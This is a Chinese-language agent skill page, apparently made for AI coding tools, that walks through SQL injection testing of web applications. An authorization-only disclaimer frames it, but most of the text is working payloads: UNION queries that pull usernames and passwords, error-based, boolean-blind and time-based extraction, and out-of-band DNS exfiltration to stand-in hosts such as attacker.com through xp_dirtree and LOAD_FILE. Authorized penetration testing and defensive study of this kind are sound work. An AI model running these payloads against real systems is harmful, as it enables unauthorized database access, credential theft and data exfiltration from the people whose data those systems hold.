
关于
对 Web 应用执行全面的 SQL 注入漏洞评估,识别数据库安全缺陷,演示利用技术,并验证输入清理机制。
name: sql-injection-testing description: "对 Web 应用执行全面的 SQL 注入漏洞评估,以识别数据库安全缺陷、演示利用技术并验证输入净化机制。" risk: offensive source: community author: zebbern date_added: "2026-02-27"
仅限授权使用:此技能仅用于授权的安全评估、防御验证或受控教育环境。
SQL 注入测试
目的
对 Web 应用执行全面的 SQL 注入漏洞评估,以识别数据库安全缺陷、演示利用技术并验证输入净化机制。此技能支持跨带内、盲注和带外攻击向量的 SQL 注入漏洞系统性检测和利用,以评估应用安全态势。
输入/前置条件
所需访问权限
- 带有可注入参数的目标 Web 应用 URL
- Burp Suite 或等效代理工具用于请求操作
- SQLMap 安装用于自动化利用
- 启用开发者工具的浏览器
技术要求
- 理解 SQL 查询语法(MySQL、MSSQL、PostgreSQL、Oracle)
- 了解 HTTP 请求/响应周期
- 熟悉数据库 schema 和结构
- 测试报告的写入权限
法律前置条件
- 渗透测试的书面授权
- 定义的范围,包括目标 URL 和参数
- 已建立的紧急联系程序
- 数据处理协议就位
输出/交付物
主要输出
- 带严重性评级的 SQL 注入漏洞报告
- 提取的数据库 schema 和表结构
- 认证绕过概念验证演示
- 带代码示例的修复建议
证据工件
- 成功注入的截图
- HTTP 请求/响应日志
- 数据库转储(已脱敏)
- Payload 文档
核心工作流
阶段 1:检测和侦察
识别可注入参数
定位与数据库查询交互的用户控制输入字段:
# Common injection points
- URL parameters: ?id=1, ?user=admin, ?category=books
- Form fields: username, password, search, comments
- Cookie values: session_id, user_preference
- HTTP headers: User-Agent, Referer, X-Forwarded-For
测试基本漏洞指标
插入特殊字符以触发错误响应:
-- Single quote test
'
-- Double quote test
"
-- Comment sequences
--
#
/**/
-- Semicolon for query stacking
;
-- Parentheses
)
监控应用响应以发现:
- 揭示查询结构的数据库错误消息
- 意外的应用行为变化
- HTTP 500 内部服务器错误
- 修改的响应内容或长度
逻辑测试 Payload
验证基于布尔的漏洞存在:
-- True condition tests
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--
-- False condition tests
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--
比较真假条件之间的响应以确认注入能力。
阶段 2:利用技术
基于 UNION 的提取
将攻击者控制的 SELECT 语句与原始查询组合:
-- Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs
-- Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--
-- Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
基于错误的提取
强制数据库错误以泄露信息:
-- MSSQL version extraction
1' AND 1=CONVERT(int,(SELECT @@version))--
-- MySQL extraction via XPATH
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--
-- PostgreSQL cast errors
1' AND 1=CAST((SELECT version()) AS int)--
盲注布尔型提取
通过应用行为变化推断数据:
-- Character extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--
-- Conditional responses
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
基于时间的盲注提取
使用数据库 sleep 函数进行确认:
-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--
-- MSSQL
1'; WAITFOR DELAY '0:0:5'--
-- PostgreSQL
1'; SELECT pg_sleep(5)--
带外(OOB)提取
通过外部通道窃取数据:
-- MSSQL DNS exfiltration
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--
-- MySQL DNS exfiltration
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))
兼容工具
Claude CodeCursor
标签
安全
